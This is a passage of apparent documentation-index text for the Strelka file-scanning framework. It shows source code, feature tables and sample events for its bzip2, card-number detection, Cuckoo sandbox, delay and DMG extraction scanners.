4\\x00\\x00\\x00\\x00\\xfe\\x84S\\xc9\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00k\\x00\\x00\\x00d&\\x00\\x00d\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00RSDS\\xa6c\\x07\\xd0\\x9b\\x84\\xb9D\\xbf\\x03\\x0b\\xff-}\\x1eJ\\x01\\x00\\x00\\x00C:\\\\Users\\\\tmcguff\\\\source\\\\repos\\\\HelloWorld\\\\HelloWorld\\\\obj\\\\x64\\\\Release\\\\HelloWorld.pdb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x10\\x00\\x00\\x00 \\x00\\x00\\x80\\x18\\x00\\x00\\x00P\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x008\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00h\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\xc0\\x03\\x00\\x00\\x90@\\x00\\x000\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x000\\x034\\x00\\x00\\x00V\\x00S\\x00_\\x00V\\x00E\\x00R\\x00S\\x00I\\x00O\\x00N\\x00_\\x00I\\x00N\\x00F\\x00O\\x00\\x00\\x00\\x00\\x00\\xbd\\x04\\xef\\xfe\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00?\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00D\\x00\\x00\\x00\\x01\\x00V\\x00a\\x00r\\x00F\\x00i\\x00l\\x00e\\x00I\\x00n\\x00f\\x00o\\x00\\x00\\x00\\x00\\x00$\\x00\\x04\\x00\\x00\\x00T\\x00r\\x00a\\x00n\\x00s\\x00l\\x00a\\x00t\\x00i\\x00o\\x00n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x04\\x90\\x02\\x00\\x00\\x01\\x00S\\x00t\\x00r\\x00i\\x00n\\x00g\\x00F\\x00i\\x00l\\x00e\\x00I\\x00n\\x00f\\x00o\\x00\\x00\\x00l\\x02\\x00\\x00\\x01\\x000\\x000\\x000\\x000\\x000\\x004\\x00b\\x000\\x00\\x00\\x00\\x1a\\x00\\x01\\x00\\x01\\x00C\\x00o\\x00m\\x00m\\x00e\\x00n\\x00t\\x00s\\x00\\x00\\x00\\x00\\x00\\x00\\x00$\\x00\\x02\\x00\\x01\\x00C\\x00o\\x00m\\x00p\\x00a\\x00n\\x00y\\x00N\\x00a\\x00m\\x00e\\x00\\x00\\x00\\x00\\x00.\\x00\\x00\\x00>\\x00\\x0b\\x00\\x01\\x00F\\x00i\\x00l\\x00e\\x00D\\x00e\\x00s\\x00c\\x00r\\x00i\\x00p\\x00t\\x00i\\x00o\\x00n\\x00\\x00\\x00\\x00\\x00H\\x00e\\x00l\\x00l\\x00o\\x00W\\x00o\\x00r\\x00l\\x00d\\x00\\x00\\x00\\x00\\x000\\x00\\x08\\x00\\x01\\x00F\\x00i\\x00l\\x00e\\x00V\\x00e\\x00r\\x00s\\x00i\\x00o\\x00n\\x00\\x00\\x00\\x00\\x001\\x00.\\x000\\x00.\\x000\\x00.\\x000\\x00\\x00\\x00>\\x00\\x0f\\x00\\x01\\x00I\\x00n\\x00t\\x00e\\x00r\\x00n\\x00a\\x00l\\x00N\\x00a\\x00m\\x00e\\x00\\x00\\x00H\\x00e\\x00l\\x00l\\x00o\\x00W\\x00o\\x00r\\x00l\\x00d\\x00.\\x00e\\x00x\\x00e\\x00\\x00\\x00\\x00\\x00J\\x00\\x13\\x00\\x01\\x00L\\x00e\\x00g\\x00a\\x00l\\x00C\\x00o\\x00p\\x00y\\x00r\\x00i\\x00g\\x00h\\x00t\\x00\\x00\\x00C\\x00o\\x00p\\x00y\\x00r\\x00i\\x00g\\x00h\\x00t\\x00 \\x00\\xa9\\x00 \\x00.\\x00 \\x002\\x000\\x002\\x000\\x00\\x00\\x00\\x00\\x00*\\x00\\x01\\x00\\x01\\x00L\\x00e\\x00g\\x00a\\x00l\\x00T\\x00r\\x00a\\x00d\\x00e\\x00m\\x00a\\x00r\\x00k\\x00s\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00F\\x00\\x0f\\x00\\x01\\x00O\\x00r\\x00i\\x00g\\x00i\\x00n\\x00a\\x00l\\x00F\\x00i\\x00l\\x00e\\x00n\\x00a\\x00m\\x00e\\x00\\x00\\x00H\\x00e\\x00l\\x00l\\x00o\\x00W\\x00o\\x00r\\x00l\\x00d\\x00.\\x00e\\x00x\\x00e\\x00\\x00\\x00\\x00\\x006\\x00\\x0b\\x00\\x01\\x00P\\x00r\\x00o\\x00d\\x00u\\x00c\\x00t\\x00N\\x00a\\x00m\\x00e\\x00\\x00\\x00\\x00\\x00H\\x00e\\x00l\\x00l\\x00o\\x00W\\x00o\\x00r\\x00l\\x00d\\x00\\x00\\x00\\x00\\x004\\x00\\x08\\x00\\x01\\x00P\\x00r\\x00o\\x00d\\x00u\\x00c\\x00t\\x00V\\x00e\\x00r\\x00s\\x00i\\x00o\\x00n\\x00\\x00\\x001\\x00.\\x000\\x00.\\x000\\x00.\\x000\\x00\\x00\\x008\\x00\\x08\\x00\\x01\\x00A\\x00s\\x00s\\x00e\\x00m\\x00b\\x00l\\x00y\\x00 \\x00V\\x00e\\x00r\\x00s\\x00i\\x00o\\x00n\\x00\\x00\\x001\\x00.\\x000\\x00.\\x000\\x00.\\x000\\x00\\x00\\x00\\xd0C\\x00\\x00\\xea\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xef\\xbb\\xbf<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\\r\\n\\r\\n<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\\r\\n <assemblyIdentity version=\"1.0.0.0\" name=\"MyApplication.app\"/>\\r\\n <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v2\">\\r\\n <security>\\r\\n <requestedPrivileges xmlns=\"urn:schemas-microsoft-com:asm.v3\">\\r\\n <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"/>\\r\\n </requestedPrivileges>\\r\\n </security>\\r\\n </trustInfo>\\r\\n</assembly>\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',\n }\nDecompresses bzip2 files.
Source code instrelka/src/python/strelka/scanners/scan_bzip2.py class ScanBzip2(strelka.Scanner):\n \"\"\"Decompresses bzip2 files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n with io.BytesIO(data) as bzip2_io:\n with bz2.BZ2File(filename=bzip2_io) as bzip2_obj:\n try:\n decompressed = bzip2_obj.read()\n self.event[\"size\"] = len(decompressed)\n\n # Send extracted file back to Strelka\n self.emit_file(decompressed, name=file.name)\n\n except EOFError:\n self.flags.append(\"eof_error\")\n except OSError:\n self.flags.append(\"os_error\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanBzip2.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/x-bzip2 bzip2_file"},{"location":"Scanners/ScanBzip2.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list size int"},{"location":"Scanners/ScanBzip2.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [], \"size\": 4015}\nDecodes base64-encoded file.
Source code instrelka/src/python/strelka/scanners/scan_ccn.py class ScanCcn(strelka.Scanner):\n \"\"\"Decodes base64-encoded file.\"\"\"\n\n def luhn_checksum(self, card_number):\n def digits_of(n):\n return [int(d) for d in str(n)]\n\n digits = digits_of(card_number)\n odd_digits = digits[-1::-2]\n even_digits = digits[-2::-2]\n checksum = 0\n checksum += sum(odd_digits)\n for d in even_digits:\n checksum += sum(digits_of(d * 2))\n return checksum % 10\n\n def is_luhn_valid(self, card_number):\n return self.luhn_checksum(card_number) == 0\n\n def scan(self, data, file, options, expire_at):\n # re_amex = re.compile(rb\"[^0-9](3[47][0-9]{13})[^0-9]\")\n # re_disc = re.compile(rb\"[^0-9](6[0-9]{15})[^0-9]\")\n # re_mast = re.compile(rb\"[^0-9](5[1-5]{1}[0-9]{14})[^0-9]\")\n re_visa = re.compile(rb\"[^0-9](4[0-9]{15})[^0-9]\")\n\n if matches := re_visa.findall(data):\n for match in matches:\n try:\n if self.is_luhn_valid(match.decode(\"ascii\")):\n if \"luhn_match\" not in self.flags:\n self.flags.append(\"luhn_match\")\n except strelka.ScannerTimeout:\n raise\n except Exception:\n pass\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanCcn.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanCcn.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list"},{"location":"Scanners/ScanCcn.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [\"luhn_match\"]}\nSends files to Cuckoo sandbox.
Attributes:
Name Type Descriptionusername Username used for authenticating to Cuckoo. This is loaded from the scanner options or the environment variable 'CUCKOO_USERNAME'.
password Password used for authenticating to Cuckoo. This is loaded from the scanner options or the environment variable 'CUCKOO_PASSWORD'.
auth_check Boolean that determines if the username and password were previously checked. This ensures that the username and password are only checked once per worker.
Optionsurl: URL of the Cuckoo sandbox. Defaults to None. priority: Cuckoo priority assigned to the task. Defaults to 3. timeout: Amount of time (in seconds) to wait for the task to upload. Defaults to 10 seconds. unique: Boolean that tells Cuckoo to only analyze samples that have not been analyzed before. Defaults to True. username: See description above. password: See description above.
Source code instrelka/src/python/strelka/scanners/scan_cuckoo.py class ScanCuckoo(strelka.Scanner):\n \"\"\"Sends files to Cuckoo sandbox.\n\n Attributes:\n username: Username used for authenticating to Cuckoo. This is loaded\n from the scanner options or the environment variable\n 'CUCKOO_USERNAME'.\n password: Password used for authenticating to Cuckoo. This is loaded\n from the scanner options or the environment variable\n 'CUCKOO_PASSWORD'.\n auth_check: Boolean that determines if the username and password were\n previously checked. This ensures that the username and password\n are only checked once per worker.\n\n Options:\n url: URL of the Cuckoo sandbox.\n Defaults to None.\n priority: Cuckoo priority assigned to the task.\n Defaults to 3.\n timeout: Amount of time (in seconds) to wait for the task to upload.\n Defaults to 10 seconds.\n unique: Boolean that tells Cuckoo to only analyze samples that have\n not been analyzed before.\n Defaults to True.\n username: See description above.\n password: See description above.\n \"\"\"\n\n def init(self):\n self.username = None\n self.password = None\n self.auth_check = False\n\n def scan(self, data, file, options, expire_at):\n url = options.get(\"url\", None)\n priority = options.get(\"priority\", 3)\n timeout = options.get(\"timeout\", 10)\n unique = options.get(\"unique\", True)\n if not self.auth_check:\n self.username = options.get(\"username\", None) or os.environ.get(\n \"CUCKOO_USERNAME\"\n )\n self.password = options.get(\"password\", None) or os.environ.get(\n \"CUCKOO_PASSWORD\"\n )\n self.auth_check = True\n\n if url is not None:\n url += \"/tasks/create/file\"\n form = {\n \"file\": (f\"strelka_{file.uid}\", data),\n \"priority\": priority,\n }\n if unique:\n form[\"unique\"] = \"True\"\n\n try:\n response = requests.post(\n url,\n files=form,\n timeout=timeout,\n auth=(self.username, self.password),\n )\n\n if response.status_code == 200:\n self.event[\"taskId\"] = response.json()[\"task_id\"]\n elif response.status_code == 400:\n self.flags.append(\"duplicate_upload\")\n else:\n self.flags.append(\"upload_failed\")\n\n except requests.exceptions.ConnectTimeout:\n self.flags.append(\"connect_timeout\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanCuckoo.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanCuckoo.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Failure
No fields to display. The test file may not exist or could not be processed.
"},{"location":"Scanners/ScanCuckoo.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
Failure
Test file not found for scanner cuckoo
"},{"location":"Scanners/ScanDelay.html","title":"ScanDelay","text":"Delays scanner execution.
Source code instrelka/src/python/strelka/scanners/scan_delay.py class ScanDelay(strelka.Scanner):\n \"\"\"Delays scanner execution.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n delay = options.get(\"delay\", 5.0)\n\n try:\n time.sleep(delay)\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"non-fatal_thing_happened\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanDelay.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanDelay.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list"},{"location":"Scanners/ScanDelay.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [\"timed_out\"]}\nExtracts files from DMG images
Source code instrelka/src/python/strelka/scanners/scan_dmg.py class ScanDmg(strelka.Scanner):\n \"\"\"Extracts files from DMG images\"\"\"\n\n EXCLUDED_ROOT_DIRS = [\"[SYSTEM]\"]\n\n def scan(self, data, file, options, expire_at):\n file_limit = options.get(\"limit\", 1000)\n tmp_directory = options.get(\"tmp_file_directory\", \"/tmp/\")\n scanner_timeout = options.get(\"scanner_timeout\", 150)\n\n self.event[\"total\"] = {\"files\": 0, \"extracted\": 0}\n self.event[\"files\"] = []\n # self.event[\"hidden_dirs\"] = []\n self.event[\"meta\"] = {}\n\n try:\n self.extract_7zip(\n data, tmp_directory, scanner_timeout, expire_at, file_limit\n )\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_7zip_extract_error\")\n\n def extract_7zip(self, data, tmp_dir, scanner_timeout, expire_at, file_limit):\n \"\"\"Decompress input file to /tmp with 7zz, send files to coordinator\"\"\"\n\n # Check if 7zip package is installed\n if not shutil.which(\"7zz\"):\n self.flags.append(\"dmg_7zip_not_installed_error\")\n return\n\n with tempfile.NamedTemporaryFile(dir=tmp_dir, mode=\"wb\") as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n tmp_data.seek(0)\n\n if not tmp_data:\n self.flags.append(\"dmg_7zip_tmp_error\")\n return\n\n try:\n with tempfile.TemporaryDirectory() as tmp_extract:\n try:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"x\", tmp_data.name, f\"-o{tmp_extract}\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n ).communicate(timeout=scanner_timeout)\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_7zip_extract_process_error\")\n\n def get_all_items(root, exclude=None):\n \"\"\"Iterates through filesystem paths\"\"\"\n if exclude is None:\n exclude = []\n for item in root.iterdir():\n if item.name in exclude:\n continue\n yield item\n if item.is_dir():\n yield from get_all_items(item)\n\n # Iterate over extracted files, except excluded paths\n for name in get_all_items(\n pathlib.Path(tmp_extract), self.EXCLUDED_ROOT_DIRS\n ):\n if not name.is_file():\n continue\n\n # Skip duplicate files created with these extended attributes\n if str(name).endswith(\":com.apple.quarantine\") or str(\n name\n ).endswith(\":com.apple.FinderInfo\"):\n continue\n\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n self.flags.append(\"dmg_file_limit_error\")\n break\n\n try:\n relname = os.path.relpath(name, tmp_extract)\n with open(name, \"rb\") as extracted_file:\n # Send extracted file back to Strelka\n self.emit_file(extracted_file.read(), name=relname)\n\n self.event[\"total\"][\"extracted\"] += 1\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_file_upload_error\")\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_7zip_extract_error\")\n\n try:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"l\", tmp_data.name],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n ).communicate(timeout=scanner_timeout)\n\n self.parse_7zip_stdout(stdout.decode(\"utf-8\"), file_limit)\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_7zip_output_error\")\n return\n\n def parse_7zip_stdout(self, output_7zip, file_limit):\n \"\"\"Parse 7zz output, create metadata\"\"\"\n\n mode = None\n\n try:\n output_lines = output_7zip.splitlines()\n\n # 7-Zip (z) 23.01 (x64) : Copyright (c) 1999-2021 Igor Pavlov : 2021-12-26\n regex_7zip_version = re.compile(r\"^7-Zip[^\\d]+(\\d+\\.\\d+)\")\n\n # --/----\n regex_mode_properties = re.compile(r\"^(--|----)$\")\n\n # Comment =\n regex_property = re.compile(r\"^(.+) = (.+)$\")\n\n # Date Time Attr Size Compressed Name\n regex_mode_files = re.compile(\n r\"\\s+Date\\s+Time\\s+Attr\\s+Size\\s+Compressed\\s+Name\"\n )\n\n # 2022-12-05 17:23:59 ....A 100656 102400 lorem.txt\n regex_file = re.compile(\n r\"(?P<datetime>\\d+-\\d+-\\d+\\s\\d+:\\d+:\\d+)\\s+(?P<modes>[A-Z.]{5})(?:\\s+(?P<size>\\d+))?(?:\\s+(?P<compressed>\\d+))?\\s+(?P<name>.+)\"\n )\n\n def parse_file_modes(file_modes):\n file_mode_list = []\n\n for file_mode in file_modes:\n if file_mode == \"D\":\n file_mode_list.append(\"directory\")\n elif file_mode == \"R\":\n file_mode_list.append(\"readonly\")\n elif file_mode == \"H\":\n file_mode_list.append(\"hidden\")\n elif file_mode == \"S\":\n file_mode_list.append(\"system\")\n elif file_mode == \"A\":\n file_mode_list.append(\"archivable\")\n\n return file_mode_list\n\n partition = {}\n\n for output_line in output_lines:\n if output_line:\n # Properties section\n match = regex_mode_properties.match(output_line)\n if match:\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"properties\"\n\n # File section\n match = regex_mode_files.match(output_line)\n if match:\n # Wrap up final partition\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"files\"\n\n # Header section\n if not mode:\n match = regex_7zip_version.match(output_line)\n if match:\n version = regex_7zip_version.match(output_line).group(1)\n self.event[\"meta\"][\"7zip_version\"] = version\n\n continue\n\n elif mode == \"properties\":\n # Collect specific properties\n match = regex_property.match(output_line)\n if match:\n if match.group(1) == \"Label\":\n partition[\"label\"] = match.group(2)\n elif match.group(1) == \"Path\":\n partition[\"path\"] = match.group(2)\n elif match.group(1) == \"Type\":\n partition[\"type\"] = match.group(2)\n elif match.group(1) == \"Created\":\n partition[\"created\"] = match.group(2)\n elif match.group(1) == \"Creator Application\":\n partition[\"creator_application\"] = match.group(2)\n elif match.group(1) == \"File System\":\n partition[\"file_system\"] = match.group(2)\n\n elif mode == \"files\":\n match = regex_file.match(output_line)\n if match:\n modes_list = parse_file_modes(match.group(\"modes\"))\n\n # Skip excluded paths\n if (\n os.path.normpath(match.group(\"name\")).split(\n os.path.sep\n )[0]\n in self.EXCLUDED_ROOT_DIRS\n ):\n continue\n\n # No DMG sample available has a file property of hidden\n # if \"hidden\" in modes_list and \"directory\" in modes_list:\n # self.event[\"hidden_dirs\"].append(match.group(\"name\"))\n\n if \"directory\" not in modes_list:\n self.event[\"total\"][\"files\"] += 1\n self.event[\"files\"].append(\n {\n \"filename\": match.group(\"name\"),\n \"size\": match.group(\"size\"),\n \"datetime\": match.group(\"datetime\"),\n }\n )\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_7zip_parse_error\")\n return\nextract_7zip(data, tmp_dir, scanner_timeout, expire_at, file_limit)","text":"Decompress input file to /tmp with 7zz, send files to coordinator
Source code instrelka/src/python/strelka/scanners/scan_dmg.py def extract_7zip(self, data, tmp_dir, scanner_timeout, expire_at, file_limit):\n \"\"\"Decompress input file to /tmp with 7zz, send files to coordinator\"\"\"\n\n # Check if 7zip package is installed\n if not shutil.which(\"7zz\"):\n self.flags.append(\"dmg_7zip_not_installed_error\")\n return\n\n with tempfile.NamedTemporaryFile(dir=tmp_dir, mode=\"wb\") as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n tmp_data.seek(0)\n\n if not tmp_data:\n self.flags.append(\"dmg_7zip_tmp_error\")\n return\n\n try:\n with tempfile.TemporaryDirectory() as tmp_extract:\n try:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"x\", tmp_data.name, f\"-o{tmp_extract}\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n ).communicate(timeout=scanner_timeout)\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_7zip_extract_process_error\")\n\n def get_all_items(root, exclude=None):\n \"\"\"Iterates through filesystem paths\"\"\"\n if exclude is None:\n exclude = []\n for item in root.iterdir():\n if item.name in exclude:\n continue\n yield item\n if item.is_dir():\n yield from get_all_items(item)\n\n # Iterate over extracted files, except excluded paths\n for name in get_all_items(\n pathlib.Path(tmp_extract), self.EXCLUDED_ROOT_DIRS\n ):\n if not name.is_file():\n continue\n\n # Skip duplicate files created with these extended attributes\n if str(name).endswith(\":com.apple.quarantine\") or str(\n name\n ).endswith(\":com.apple.FinderInfo\"):\n continue\n\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n self.flags.append(\"dmg_file_limit_error\")\n break\n\n try:\n relname = os.path.relpath(name, tmp_extract)\n with open(name, \"rb\") as extracted_file:\n # Send extracted file back to Strelka\n self.emit_file(extracted_file.read(), name=relname)\n\n self.event[\"total\"][\"extracted\"] += 1\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_file_upload_error\")\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_7zip_extract_error\")\n\n try:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"l\", tmp_data.name],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n ).communicate(timeout=scanner_timeout)\n\n self.parse_7zip_stdout(stdout.decode(\"utf-8\"), file_limit)\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_7zip_output_error\")\n return\nparse_7zip_stdout(output_7zip, file_limit)","text":"Parse 7zz output, create metadata
